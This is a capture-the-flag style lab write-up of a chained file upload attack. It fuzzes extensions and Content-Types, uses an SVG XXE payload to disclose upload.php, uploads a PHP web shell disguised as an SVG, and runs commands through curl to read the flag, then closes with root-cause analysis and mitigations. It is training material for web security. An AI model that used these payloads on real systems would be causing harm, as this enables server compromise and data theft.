π―Skills Assessment
π― Real-World Assessment: Complete attack chain combining multiple bypass techniques to achieve RCE
Challenge Overview
Objective: Exploit upload form to read the flag found at root directory "/"
Target: Contact form with image upload functionality that employs multiple security layers:
Extension validation (blacklist + whitelist)
Content-Type validation
MIME-Type validation
File size restrictions
Phase 1: Initial Reconnaissance
Discovery Process
1. Target Identification:
Navigate to website root page
Click on "Contact Us" section
Identify image upload functionality
2. Upload Behavior Analysis:
Images upload and display directly after clicking green icon
No need to click "SUBMIT" button
Files saved as base64 strings (upload directory hidden)
Key Observations
Upload Response Analysis:
β
Image uploads work immediately
π Upload directory path hidden (base64 encoding)
π― Direct file execution likely possiblePhase 2: Extension Bypass Discovery
Burp Suite Setup
1. Proxy Configuration:
Start Burp Suite
Set FoxyProxy to "BURP" profile
Intercept upload request (Ctrl + I)
2. Extension Fuzzing Setup:
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=--boundary
----boundary
Content-Disposition: form-data; name="uploadFile"; filename="testΒ§.jpgΒ§"
Content-Type: image/jpeg
[file content]
----boundary--Extension Discovery Results
Testing Method:
Clear default payload markers
Add payload marker:
Β§.jpgΒ§Uncheck "URL-encode these characters"
Load PHP extensions wordlist
Execute attack
Extensions Wordlist:
# Download PHP extensions list
wget https://github.com/danielmiessler/SecLists/raw/master/Discovery/Web-Content/web-extensions.txtDiscovered Allowed Extensions:
β
.pht - "Only images are allowed" (not "Extension not allowed")
β
.phtm - "Only images are allowed"
β
.phar - "Only images are allowed"
β
.pgif - "Only images are allowed"Analysis: These extensions bypass the blacklist but still trigger whitelist validation.
Phase 3: Content-Type Bypass Discovery
Content-Type Fuzzing
Payload Position:
Content-Type: Β§image/jpegΒ§Wordlist Preparation:
# Download content types list
wget https://github.com/danielmiessler/SecLists/raw/master/Discovery/Web-Content/web-all-content-types.txt
# Filter for image types only
cat web-all-content-types.txt | grep 'image/' | xclip -se cSuccessful Content-Types
Attack Results:
β
image/jpg - Upload successful (190+ bytes response)
β
image/jpeg - Upload successful
β
image/png - Upload successful
β
image/svg+xml - Upload successful β (Key finding!)
β Others - "Only images are allowed" (190 bytes)Critical Discovery: image/svg+xml is allowed, enabling XXE attacks!
Phase 4: Source Code Disclosure via XXE
SVG XXE Payload Creation
XXE File Creation:
cat << 'EOF' > shell.svg
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>
EOFUpload Process
1. Filename Bypass:
# Rename for frontend bypass
mv shell.svg shell.jpeg2. Burp Request Modification:
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=--boundary
----boundary
Content-Disposition: form-data; name="uploadFile"; filename="shell.svg"
Content-Type: image/svg+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>
----boundary--Source Code Analysis
Base64 Decoding:
echo 'PD9waHAKcmVxdWlyZV9vbmNlKCcuL2NvbW1vbi1mdW5jdGlvbnMucGhwJyk7...' | base64 -dDecoded upload.php:
<?php
require_once('./common-functions.php');
// uploaded files directory
$target_dir = "./user_feedback_submissions/";
// rename before storing
$fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]);
$target_file = $target_dir . $fileName;
// get content headers
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);
// blacklist test
if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) {
echo "Extension not allowed";
die();
}
// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
echo "Only images are allowed";
die();
}
// type test
foreach (array($contentType, $MIMEtype) as $type) {
if (!preg_match('/image\/[a-z]{2,3}g/', $type)) {
echo "Only images are allowed";
die();
}
}
// size test
if ($_FILES["uploadFile"]["size"] > 500000) {
echo "File too large";
die();
}
if (move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $target_file)) {
displayHTMLImage($target_file);
} else {
echo "File failed to upload";
}Critical Intelligence Gathered
1. Upload Directory: ./user_feedback_submissions/ 2. File Naming Pattern: date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]) 3. Validation Logic:
Blacklist: Blocks
.ph(p|ps|tml)extensionsWhitelist: Requires
[a-z]{2,3}g$ending (explains why.pharworks!)Content-Type: Must match
/image\/[a-z]{2,3}g/(explains whysvg+xmlworks!)
Phase 5: Web Shell Upload and Execution
Combined Attack Payload
Shell Creation:
cat << 'EOF' > shell.phar.svg
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>
<?php system($_REQUEST['cmd']); ?>
EOFWhy This Works:
β Extension:
.svgsatisfies whitelist regex[a-z]{2,3}g$β Content-Type:
image/svg+xmlmatches type validationβ Execution:
.svgfiles processed as XML, PHP code executedβ Bypass:
.pharin middle bypasses blacklist (doesn't end with prohibited extension)
Upload Process
1. Frontend Bypass:
mv shell.phar.svg shell.phar.jpeg2. Burp Request Modification:
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=--boundary
----boundary
Content-Disposition: form-data; name="uploadFile"; filename="shell.phar.svg"
Content-Type: image/svg+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>
<?php system($_REQUEST['cmd']); ?>
----boundary--Command Execution
File Location Calculation:
# Current date in ymd format (e.g., 221130 for Nov 30, 2022)
YMD=$(date +%y%m%d)
echo "Shell location: /contact/user_feedback_submissions/${YMD}_shell.phar.svg"Test Command Execution:
# List root directory
curl "http://TARGET_IP:PORT/contact/user_feedback_submissions/221130_shell.phar.svg?cmd=ls+/"Expected Response:
[Base64 content from XXE]
bin
boot
dev
etc
flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt
home
...Flag Retrieval
Final Command:
curl "http://TARGET_IP:PORT/contact/user_feedback_submissions/221130_shell.phar.svg?cmd=cat+/flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt"Flag Format: HTB{...}
Attack Chain Summary
Complete Methodology
1. π Reconnaissance
Identify upload functionality
Analyze upload behavior and responses
2. π― Extension Discovery
Fuzz extensions with Burp Intruder
Identify bypasses (
.phar,.pht, etc.)
3. π Content-Type Analysis
Fuzz Content-Type headers
Discover allowed image types including
svg+xml
4. π Source Code Disclosure
Create XXE SVG payload
Extract
upload.phpsource codeAnalyze validation logic and file paths
5. π£ Web Shell Deployment
Craft combined XXE+PHP payload
Bypass all validation layers
Upload executable web shell
6. β‘ Command Execution
Calculate file location using date pattern
Execute system commands via URL parameter
Retrieve target flag file
Technical Analysis
Validation Bypass Techniques Used
1. Extension Filtering Bypass:
// Blacklist regex: /.+\.ph(p|ps|tml)/
// Bypassed by: shell.phar.svg (doesn't end with blocked extensions)
// Whitelist regex: /^.+\.[a-z]{2,3}g$/
// Satisfied by: .svg (3 chars ending in 'g')2. Content-Type Bypass:
// Type regex: /image\/[a-z]{2,3}g/
// Satisfied by: image/svg+xml (contains "svg" ending in 'g')3. File Execution Chain:
SVG uploaded β XML parser processes content β PHP code executedVulnerability Root Causes
1. Insufficient Extension Validation:
Regex allows 3-character extensions ending in 'g'
Enables
.svguploads which can contain executable code
2. Weak Content-Type Validation:
Allows
image/svg+xmlwhich supports embedded scriptsSVG files processed as XML with PHP execution context
3. Direct File Access:
Uploaded files accessible via direct URL
No execution restrictions in upload directory
4. Predictable File Naming:
Date-based prefixes are easily calculated
File locations can be determined without disclosure
Defense Recommendations
Immediate Mitigations
1. Strict Extension Whitelist:
// Only allow specific safe image extensions
$allowedExtensions = ['jpg', 'jpeg', 'png', 'gif'];
$extension = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
if (!in_array($extension, $allowedExtensions)) {
die("Extension not allowed");
}2. Enhanced Content Validation:
// Verify actual file content matches extension
$allowedTypes = [
'jpg' => ['image/jpeg'],
'jpeg' => ['image/jpeg'],
'png' => ['image/png'],
'gif' => ['image/gif']
];
$actualType = mime_content_type($tmpFile);
if (!in_array($actualType, $allowedTypes[$extension])) {
die("File content doesn't match extension");
}3. Execution Prevention:
# .htaccess in upload directory
<Files "*">
php_flag engine off
AddType text/plain .php .phtml .php3 .svg
RemoveHandler .php .phtml .php3 .php4 .php5 .svg
</Files>4. File Access Control:
// Serve files through controlled script instead of direct access
// Implement proper authorization and path validationLong-term Security Measures
Content Sanitization - Strip metadata and reprocess images
Isolated Processing - Process uploads in sandboxed environment
Random File Names - Use UUIDs instead of predictable patterns
WAF Protection - Deploy web application firewall rules
Regular Updates - Keep all file processing libraries current
Learning Outcomes
Skills Demonstrated
Technical Skills:
π Reconnaissance - Upload functionality discovery
π― Fuzzing - Extension and Content-Type enumeration
π‘οΈ Bypass Techniques - Multi-layer validation circumvention
π XXE Exploitation - Source code disclosure via XML processing
π£ Web Shell Deployment - Combined payload crafting
β‘ Command Execution - System-level access achievement
Methodology Skills:
Systematic Testing - Methodical validation layer analysis
Chain Exploitation - Combining multiple vulnerabilities
Pattern Recognition - Understanding validation logic flaws
Tool Integration - Burp Suite automation and manual testing
Key Takeaways
Defense-in-Depth Failure - Multiple weak controls don't equal strong security
Regex Complexity Risk - Complex patterns often contain logical flaws
File Type Confusion - SVG files blur line between data and executable content
Information Disclosure Impact - Source code access enables targeted attacks
Chained Vulnerabilities - Individual weak controls compound into critical risk
This Skills Assessment perfectly demonstrates how real-world file upload vulnerabilities require combining multiple techniques to achieve successful exploitation.
Last updated